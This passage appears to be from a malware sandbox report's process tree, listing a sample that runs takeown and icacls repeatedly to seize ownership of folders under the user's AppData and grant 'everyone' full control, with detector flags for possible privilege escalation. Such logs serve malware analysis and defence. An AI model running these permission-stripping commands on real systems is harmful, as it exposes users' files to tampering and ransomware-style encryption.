- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\32 /grant everyone:(f)
    3⤵
    PID:2268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\33 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\33 /grant everyone:(f)
  2⤵
  PID:1924
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\33
    3⤵
    PID:2524
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\33 /grant everyone:(f)
    3⤵
    PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\34 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\34 /grant everyone:(f)
  2⤵
  PID:1548
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\34
    3⤵
    PID:760
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\34 /grant everyone:(f)
    3⤵
    PID:1836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\35 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\35 /grant everyone:(f)
  2⤵
  PID:284
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\35
    3⤵
    PID:1904
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\35 /grant everyone:(f)
    3⤵
    PID:880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\36 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\36 /grant everyone:(f)
  2⤵
  PID:692
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\36
    3⤵
    - Possible privilege escalation attempt
    PID:900
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\36 /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\37 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\37 /grant everyone:(f)
  2⤵
  PID:1356
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\37
    3⤵
    PID:1512
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\37 /grant everyone:(f)
    3⤵
    PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\38 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\38 /grant everyone:(f)
  2⤵
  PID:2244
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\38
    3⤵
    PID:2224
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\38 /grant everyone:(f)
    3⤵
    PID:2456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\39 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\39 /grant everyone:(f)
  2⤵
  PID:2432
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\39
    3⤵
    PID:1192
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\39 /grant everyone:(f)
    3⤵
    PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\4 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\4 /grant everyone:(f)
  2⤵
  PID:2216
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\4
    3⤵
    PID:1688
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\4 /grant everyone:(f)
    3⤵
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\40 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\40 /grant everyone:(f)
  2⤵
  PID:2108
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\40
    3⤵
    PID:1780
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\40 /grant everyone:(f)
    3⤵
    PID:1088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\41 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\41 /grant everyone:(f)
  2⤵
  PID:2452
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\41
    3⤵
    PID:1692
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\41 /grant everyone:(f)
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\42 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\42 /grant everyone:(f)
  2⤵
  PID:3064
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\42
    3⤵
    PID:2716
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\42 /grant everyone:(f)
    3⤵
    PID:804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\43 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\43 /grant everyone:(f)
  2⤵
  PID:2764
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\43
    3⤵
    - Modifies file permissions
    PID:996
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\43 /grant everyone:(f)
    3⤵
    PID:2512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\44 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\44 /grant everyone:(f)
  2⤵
  PID:2176
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\44
    3⤵
    PID:2780
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\44 /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\45 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\45 /grant everyone:(f)
  2⤵
  PID:1772
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\45
    3⤵
    PID:1848
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\45 /grant everyone:(f)
    3⤵
    PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\46 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\46 /grant everyone:(f)
  2⤵
  PID:2036
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\46
    3⤵
    PID:648
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\46 /grant everyone:(f)
    3⤵
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\47 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\47 /grant everyone:(f)
  2⤵
  PID:2688
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\47
    3⤵
    PID:1432
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\47 /grant everyone:(f)
    3⤵
    PID:1256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\48 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\48 /grant everyone:(f)
  2⤵
  PID:2732
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\48
    3⤵
    PID:2584
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\48 /grant everyone:(f)
    3⤵
    PID:1616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\49 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\49 /grant everyone:(f)
  2⤵
  PID:2736
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\49
    3⤵
    PID:2612
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\49 /grant everyone:(f)
    3⤵
    PID:2096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\5 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\5 /grant everyone:(f)
  2⤵
  PID:2588
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\5
    3⤵
    PID:2824
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\5 /grant everyone:(f)
    3⤵
    PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\50 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\50 /grant everyone:(f)
  2⤵
  PID:2616
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\50
    3⤵
    - Modifies file permissions
    PID:1268
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\50 /grant everyone:(f)
    3⤵
    PID:1492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51 /grant everyone:(f)
  2⤵
  PID:2792
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51
    3⤵
    PID:1316
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51 /grant everyone:(f)
    3⤵
    PID:2788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\52 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\52 /grant everyone:(f)
  2⤵
  PID:268
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\52
    3⤵
    PID:2944
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\52 /grant everyone:(f)
    3⤵
    PID:1516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\53 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\53 /grant everyone:(f)
  2⤵
  PID:2184
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\53
    3⤵
    PID:2684
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\53 /grant everyone:(f)
    3⤵
    PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\54 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\54 /grant everyone:(f)
  2⤵
  PID:2124
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\54
    3⤵
    PID:2092
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\54 /grant everyone:(f)
    3⤵
    PID:1860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\55 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\55 /grant everyone:(f)
  2⤵
  PID:2448
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\55
    3⤵
    PID:1752
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\55 /grant everyone:(f)
    3⤵
    PID:1136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\56 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\56 /grant everyone:(f)
  2⤵
  PID:2136
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\56
    3⤵
    PID:1560
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\56 /grant everyone:(f)
    3⤵
    PID:2552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\57 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\57 /grant everyone:(f)
  2⤵
  PID:2428
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\57
    3⤵
    PID:2268
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\57 /grant everyone:(f)
    3⤵
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\58 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\58 /grant everyone:(f)
  2⤵
  PID:944
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\58
    3⤵
    PID:1856
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\58 /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    PID:1524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\59 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\59 /grant everyone:(f)
  2⤵
  PID:1940
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\59
    3⤵
    - Possible privilege escalation attempt
    PID:1836
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\59 /grant everyone:(f)
    3⤵
    PID:2668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\6 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\6 /grant everyone:(f)
  2⤵
  PID:1748
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\6
    3⤵
    PID:880
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\6 /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    PID:2000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\60 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\60 /grant everyone:(f)
  2⤵
  PID:2500
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\60
    3⤵
    PID:1652
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\60 /grant everyone:(f)
    3⤵
    PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\61 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\61 /grant everyone:(f)
  2⤵
  PID:928
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\61
    3⤵
    PID:2132
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\61 /grant everyone:(f)
    3⤵
    PID:2260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\62 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\62 /grant everyone:(f)
  2⤵
  PID:2188
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\62
    3⤵
    PID:2456
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\62 /grant everyone:(f)
    3⤵
    PID:2516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\63 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\63 /grant everyone:(f)
  2⤵
  PID:2292
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\63
    3⤵
    PID:2064
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\63 /grant everyone:(f)
    3⤵
    PID:1304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\7 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\7 /grant everyone:(f)
  2⤵
  PID:2320
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\7
    3⤵
    PID:1660
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\7 /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    PID:2056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\8 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\8 /grant everyone:(f)
  2⤵
  PID:1100
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\8
    3⤵
    PID:1672
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\8 /grant everyone:(f)
    3⤵
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\9 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\9 /grant everyone:(f)
  2⤵
  PID:2396
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\9
    3⤵
    PID:2716
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\9 /grant everyone:(f)
    3⤵
    - Modifies file permissions
    PID:2988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\host && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\host /grant everyone:(f)
  2⤵
  PID:3064
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\host
    3⤵
    - Modifies file permissions
    PID:996
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\host /grant everyone:(f)
    3⤵
    PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\muffin && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\muffin /grant everyone:(f)
  2⤵
  PID:2764
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\muffin
    3⤵
    - Modifies file permissions
    PID:2780
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\muffin /grant everyone:(f)
    3⤵
    PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\security && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\security /grant everyone:(f)
  2⤵
  PID:2176
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\security
    3⤵
    PID:1848
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\Deployment\security /grant everyone:(f)
    3⤵
    PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\jdk1.7.0_80_x64 && icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\jdk1.7.0_80_x64 /grant everyone:(f)
  2⤵
  PID:1772
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\LocalLow\Sun\Java\jdk1.7.0_80_x64
    3⤵
    PID:648
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\LocalLow\Sun\Java\jdk1.7.0_80_x64 /grant everyone:(f)
    3⤵
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming && icacls C:\Users\Admin\AppData\Roaming /grant everyone:(f)
  2⤵
  PID:2036
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming
    3⤵
    PID:1432
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming /grant everyone:(f)
    3⤵
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Adobe && icacls C:\Users\Admin\AppData\Roaming\Adobe /grant everyone:(f)
  2⤵
  PID:584
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Adobe
    3⤵
    PID:112
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Adobe /grant everyone:(f)
    3⤵
    PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Adobe\Acrobat && icacls C:\Users\Admin\AppData\Roaming\Adobe\Acrobat /grant everyone:(f)
  2⤵
  PID:2804
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Adobe\Acrobat
    3⤵
    - Possible privilege escalation attempt
    PID:2196
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Adobe\Acrobat /grant everyone:(f)
    3⤵
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0 && icacls C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0 /grant everyone:(f)
  2⤵
  PID:2032
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0
    3⤵
    PID:2852
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0 /grant everyone:(f)
    3⤵
    PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\Collab && icacls C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\Collab /grant everyone:(f)
  2⤵
  PID:1732
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\Collab
    3⤵
    - Modifies file permissions
    PID:1492
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\Collab /grant everyone:(f)
    3⤵
    PID:2564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Adobe\Flash Player && icacls C:\Users\Admin\AppData\Roaming\Adobe\Flash Player /grant everyone:(f)
  2⤵
  PID:2376
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Adobe\Flash Player
    3⤵
    PID:2788
- C:\Windows\System32\cmd.exe
